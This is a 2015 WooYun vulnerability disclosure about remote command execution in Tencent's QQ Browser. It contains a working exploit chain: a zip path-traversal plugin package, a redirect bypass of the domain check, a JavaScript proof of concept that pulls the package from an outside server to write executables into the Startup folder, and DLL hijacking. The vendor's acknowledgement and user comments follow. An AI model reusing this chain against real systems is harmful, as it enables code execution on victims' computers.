当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-095664

漏洞标题:QQ浏览器远程任意命令执行漏洞(附有分析和利用)

相关厂商:腾讯

漏洞作者: gainover

提交时间:2015-02-05 14:27

修复时间:2015-05-07 18:00

公开时间:2015-05-07 18:00

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-05: 细节已通知厂商并且等待厂商处理中
2015-02-06: 厂商已经确认,细节仅向厂商公开
2015-02-09: 细节向第三方安全合作伙伴开放
2015-04-02: 细节向核心白帽子及相关领域专家公开
2015-04-12: 细节向普通白帽子公开
2015-04-22: 细节向实习白帽子公开
2015-05-07: 细节向公众公开

简要描述:

嗯,有点意思!

详细说明:

1. 对于QQ浏览器来说,只要是qq.com的域名下的网页,就有权限调用 external下的一些API接口,比如:
安装插件:window.external.extension.installExtension
卸载插件:window.external.getExtension("").uninstallExtension
2. 对于window.external.extension.installExtension,其用法如下:

window.external.extension.installExtension("插件GUID","插件地址","插件版本",回调函数);


一个实例:

window.external.extension.installExtension("{CD36E3DB-304A-48EF-A8A2-D873F608D2AE}","http://xxxx.qq.com/AAAAAAAA.qrx","8.0.1.19",function(){
alert("install ok");
});


其中,插件地址要求是qq.com域下的地址方可。
3. 看样子我们似乎可以安装任意插件,然而,QQ的浏览器插件实现,对插件内所调用的JS等含有功能代码的文件均有校验机制,这使得我们无法在插件内打包恶意的JS代码。
4. 然而,QQ浏览器插件(qrx)本身就是一个压缩包,远程安装QQ插件的时候,QQ浏览器会首先解压这个压缩包,然后才是上一步的校验。校验这一步没什么问题,那解压缩这步会不会有问题呢?
5. 于是,我们下载一个QQ浏览器插件,采用7zip打开, 拖入一个calc.exe到压缩包中,

1.png


接着对calc.exe进行重命名:
../../../../../../../../../calc.exe

2.png


相当于我们在压缩包里打包了一个这样路径的文件:C:\Users\用户名\AppData\Roaming\Tencent\QQBrowser\Extensions8\{38D6C77F-66BE-413E-996C-85372DB1A510}\8.0.0.2\../../../../../../../../../calc.exe
6. 我们将改造后的 1.qrx文件和index.php放到我们本地测试服务器(x.com)的根目录下。
/1.qrx
/index.php
其中index.php代码为:

<?php
echo file_get_contents("./1.qrx");
?>


然后我们为了绕过window.external.extension.installExtension中插件URL的域名限制,我们在乌云以前的漏洞里找到了一个302跳转:
http://tixing.qq.com/cgi-bin/jump?url=http://xxx.com/
这个跳转本身的url参数依然存在域名判断限制,但是可以被我们可以轻松的用以下方式绕过。
http://tixing.qq.com/cgi-bin/jump?url=http://x.com?qq.com/
这也是我们最终构造好的插件下载地址:
http://tixing.qq.com/cgi-bin/jump?url=http://x.com?qq.com/
--> 跳转到:
http://x.com?qq.com/
--> 相当于 http://x.com/index.php
--> 读取1.qrx的内容返回
7. 我们随便打开一个QQ的网站,比如 qzs.qq.com/123 (网页不存在没关系)
然后F12打开脚本控制台,运行下面的测试代码(会向C盘根目录写入一个calc.exe):

(function(){
var isWin7=/NT\s+6/.test(navigator.userAgent);
window.external.getExtension("").uninstallExtension("{CD36E3DB-304A-48EF-A8A2-D873F608D2AE}",function(){
if(isWin7){
window.external.extension.installExtension("{CD36E3DB-304A-48EF-A8A2-D873F608D2AE}","http://tixing.qq.com/cgi-bin/jump?url=http://appmaker.sinaapp.com?.qq.com/1.qrx","8.0.1.19",function(){
alert("demo win7");
});
}else{
//xp
window.external.extension.installExtension("{CD36E3DB-304A-48EF-A8A2-D873F608D2AE}","http://tixing.qq.com/cgi-bin/jump?url=http://appmaker.sinaapp.com?.qq.com/1.qrx","8.0.1.19",function(){
alert("demo xp");
});
}
});
})();


效果如下图所示:

3.jpg


可以看到(Win 7 下需关闭UAC), 调用安装插件这个API后,确实在C盘根目录下写入了一个calc.exe文件。
XP下也一样是可以的。

5.jpg


8. 最后,我们要做的事情,就是找一个QQ域下的XSS, 这里我就不找了。因为这个漏洞的重点已经不在找XSS上了。。如果一定要我找一个补上,请留言。

漏洞证明:

1. win7下,关闭UAC的情况下,可以写入启动目录,
calc.exe 重命名为 ../../../../../../../../../ProgramData/Microsoft/Windows/Start Menu/Programs/Startup/calc.exe 即可。
但是XP下,启动目录有中文,这个漏洞,在解压时,无法正常处理中文路径。
2. 但是xp下,可以结合其它小问题来实现命令执行,比如dll劫持。
如果QQ浏览器默认路径安装,
自己创建一个dll,重命名为 ../../../../../../../../../Program Files/Tencent/QQBrowser/setupapi.dll
用户访问恶意构造网页,安装恶意插件包,即会在QQ浏览器所在目录释放一个setupapi.dll,下次浏览器启动时,被劫持,如下图:

4.png

修复方案:

修复插件包安装相关代码。
修复其它一些小问题。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-02-06 17:58

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-02-06 18:34 | 浅蓝 ( 普通白帽子 | Rank:274 漏洞数:109 | 爱安全:www.ixsec.orgXsec社区:zone.ixse...)

    好屌

  2. 2015-02-06 19:00 | 金枪银矛小霸王 ( 普通白帽子 | Rank:103 漏洞数:25 | 不会挖洞洞的猿猿不是好学生)

    没有软妹币???

  3. 2015-02-06 20:16 | 呼呼大侠 ( 路人 | Rank:6 漏洞数:2 | 一只默默学习的菜菜)

    路人甲~~~~~~~~~~~~~~~~~~~~

  4. 2015-02-06 21:41 | 梧桐雨 认证白帽子 ( 核心白帽子 | Rank:1576 漏洞数:184 | 关注技术与网络安全)

    = =这漏洞很奇怪,为什么确认了还放在最新提交

  5. 2015-02-06 22:41 | Lyleaks ( 普通白帽子 | Rank:137 漏洞数:9 | 这个人很聪明,什么也没有留下)

    二哥~

  6. 2015-02-07 09:48 | blast ( 普通白帽子 | Rank:348 漏洞数:57 | 五仁委员会)

    估计二哥无误

  7. 2015-02-07 10:56 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @blast 。。。

  8. 2015-02-11 22:28 | 90Snake ( 普通白帽子 | Rank:109 漏洞数:42 | 最大的漏洞就是人)

    @gainover 二哥提交的时候忘记登录了是不是

  9. 2015-02-13 06:03 | 大漠長河 ( 实习白帽子 | Rank:43 漏洞数:7 | ̷̸̨̀͒̏̃ͦ̈́̾( 天龙源景区欢迎您...)

    公开后学习下,好久没来乌云了,一上来心脏又跳出来了

  10. 2015-04-30 20:09 | Guardian ( 实习白帽子 | Rank:96 漏洞数:20 | I'm from the Internet and be here to hel...)

    提醒:级别足够但是无法查看 Rank 高于自己的白帽子漏洞 ( 可以等待进一步公开或者支付 8 个乌云币提前查看 )